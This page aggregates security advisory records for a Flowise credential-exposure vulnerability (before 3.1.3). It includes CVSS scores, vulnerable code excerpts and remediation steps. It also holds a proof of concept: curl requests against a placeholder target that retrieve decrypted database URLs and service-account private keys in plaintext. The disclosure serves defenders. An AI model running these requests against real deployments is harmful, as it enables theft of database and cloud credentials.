Flowise before 3.1.3 Credential Exposure via API

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Flowise before 3.1.3 contains an incomplete credential redaction vulnerability in the GET /api/v1/credentials/:id endpoint that returns decrypted secrets in plaintext. Authenticated users with credentials:view permission can retrieve sensitive data including database connection URLs with embedded passwords, cloud service account JSON with private keys, and API keys by calling this endpoint.

Source published

13 Aug 2026 11:28:10 UTC

Source modified

13 Aug 2026 14:52:32 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Flowise before 3.1.3 contains an incomplete credential redaction vulnerability in the GET /api/v1/credentials/:id endpoint that returns decrypted secrets in plaintext. Authenticated users with credentials:view permission can retrieve sensitive data including database connection URLs with embedded passwords, cloud service account JSON with private keys, and API keys by calling this endpoint.

Source published

13 Aug 2026 12:17:24 UTC

Source modified

24 Oct 2026 15:10:00 UTC

Observed here

25 Oct 2026 15:19:09 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

## Summary The `GET /api/v1/credentials/:id` endpoint decrypts stored credential data and returns it in the `plainDataObj` field of the API response. While a `redactCredentialWithPasswordType()` function masks fields defined with `type: 'password'` in their component schema, many credential types store highly sensitive data (database connection URLs with embedded passwords, Google service account JSON with RSA private keys, AWS access keys) in fields defined as `type: 'string'`. These string-type fields are returned in **full plaintext** without any redaction. Any authenticated user with `credentials:view` permission can retrieve the raw secrets of any credential in their workspace by calling this endpoint. ## Vulnerable Code ### Service Layer **`packages/server/src/services/credentials/index.ts`**, `getCredentialById()` (line 127): At line 138, the credential's encrypted data is decrypted: ```typescript const decryptedCredentialData = await decryptCredentialData( credential.encryptedData, credential.credentialName, appServer.nodesPool.componentCredentials ) ``` At lines 143-146, the decrypted data is attached to the response as `plainDataObj`: ```typescript const returnCredential: ICredentialReturnResponse = { ...credential, plainDataObj: decryptedCredentialData // <-- decrypted secrets in response } ``` At line 147, only `encryptedData` is stripped, leaving `plainDataObj` intact: ```typescript const dbResponse: any = omit(returnCredential, ['encryptedData']) ``` ### Incomplete Redaction **`packages/server/src/utils/index.ts`**, `redactCredentialWithPasswordType()` (line 1697): ```typescript export const redactCredentialWithPasswordType = ( componentCredentialName: string, decryptedCredentialObj: ICredentialDataDecrypted, componentCredentials: IComponentCredentials ): ICredentialDataDecrypted => { const plainDataObj = cloneDeep(decryptedCredentialObj) for (const cred in plainDataObj) { const inputParam = componentCredentials[componentCredentialName].inputs?.find( (inp) => inp.type === 'password' && inp.name === cred // <-- only 'password' type ) if (inputParam) { plainDataObj[cred] = REDACTED_CREDENTIAL_VALUE } } return plainDataObj } ``` This function **only** redacts fields where `inp.type === 'password'`. Fields with `type: 'string'` are returned verbatim, even when they contain secrets. ### Credential Definitions Storing Secrets in String-Type Fields | Credential | Field | Type | Contains | |---|---|---|---| | `mongoDBUrlApi` | `mongoDBConnectUrl` | `string` | `mongodb+srv://user:password@host/db` | | `googleVertexAuth` | `googleApplicationCredential` | `string` | Full service account JSON with RSA private key | | `postgresUrl` | `postgresUrl` | `string` | `postgresql://user:password@host/db` | | `redisCacheUrlApi` | `redisUrl` | `string` | `redis://user:password@host:port` | | `awsApi` | `awsKey` | `string` | AWS Access Key ID | | `langfuseApi` | `langFusePublicKey` | `string` | Langfuse API public key | | `httpBasicAuth` | `basicAuthUsername` | `string` | HTTP Basic Auth username | There are 60+ credential definitions in `packages/components/credentials/`, many with sensitive string-type fields. ## Proof of Concept ### Environment - Flowise v3.0.13 (`flowiseai/flowise:latest` Docker image) - Authenticated as admin user via enterprise auth ### Steps to Reproduce 1. Start Flowise and log in as any user with `credentials:view` permission. 2. Create a MongoDB credential with a connection URL containing embedded credentials: ```bash curl -X POST "http://TARGET:3000/api/v1/credentials" \ -H "Content-Type: application/json" \ -H "x-request-from: internal" \ -H "Cookie: token=<jwt-token>" \ -d '{ "name": "MongoDB Production", "credentialName": "mongoDBUrlApi", "plainDataObj": { "mongoDBConnectUrl": "mongodb+srv://admin:[email protected]/mydb" } }' ``` 3. Retrieve the credential by ID: ```bash curl -X GET "http://TARGET:3000/api/v1/credentials/<credential-id>" \ -H "x-request-from: internal" \ -H "Cookie: token=<jwt-token>" ``` ### Observed Result The API returns the MongoDB connection URL in **full plaintext**, including the embedded password: ```json { "id": "e9543cad-8c0c-422e-9990-090c3b1dc3ab", "name": "MongoDB Production", "credentialName": "mongoDBUrlApi", "createdDate": "2026-02-07T17:35:29.000Z", "updatedDate": "2026-02-07T17:35:29.000Z", "plainDataObj": { "mongoDBConnectUrl": "mongodb+srv://admin:[email protected]/mydb" } } ``` The same test with a Google Vertex Auth credential returned the **complete service account JSON including the RSA private key** in plaintext: ```json { "id": "f7768444-a4fc-4fa3-8e5e-d0d4df89fb56", "name": "Google Vertex Auth", "credentialName": "googleVertexAuth", "plainDataObj": { "googleApplicationCredential": "{\"type\":\"service_account\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWep4PAtGoL3VBpFe97XRQFQB\\n-----END RSA PRIVATE KEY-----\\n\",\"client_email\":\"[email protected]\"}", "projectID": "my-project-123" } } ``` For comparison, an OpenAI API key (where the field is typed as `password`) was **correctly redacted**: ```json { "plainDataObj": { "openAIApiKey": "_FLOWISE_BLANK_07167752-1a71-43b1-" } } ``` This confirms the redaction is only applied to `password`-type fields, leaving `string`-type fields fully exposed. ## Impact - **Database credential theft**: MongoDB, PostgreSQL, Redis, MySQL connection URLs with embedded passwords are returned in full plaintext. An attacker can use these to directly access production databases. - **Cloud service account compromise**: Google service account JSON with RSA private keys is returned in plaintext, enabling full impersonation of the service account across Google Cloud. - **AWS key exposure**: AWS Access Key IDs stored in `string`-type fields are exposed, enabling enumeration of active AWS credentials. - **Lateral movement**: Stolen credentials enable pivoting from the Flowise instance to connected cloud services, databases, and APIs. - **Multi-user workspace risk**: In multi-user deployments, any user with `credentials:view` permission can harvest all workspace credentials via the API. ## Remediation 1. Apply `redactCredentialWithPasswordType()` to **all** sensitive credential fields, not just those typed as `password`. Any field containing secrets (connection strings, JSON credentials, access keys) should be redacted. 2. Consider never returning `plainDataObj` in API responses. The UI should use masked previews (e.g., `mongodb+srv://admin:****@cluster0...`) instead of full values. 3. Re-type sensitive credential fields from `string` to `password` in component credential definitions to ensure they are covered by the existing redaction logic. 4. Add a separate `secret: true` flag to credential field definitions to explicitly mark sensitive fields regardless of their input type.

Source published

4 Aug 2026 17:57:35 UTC

Source modified

14 Aug 2026 04:12:07 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Publisher rating · MODERATE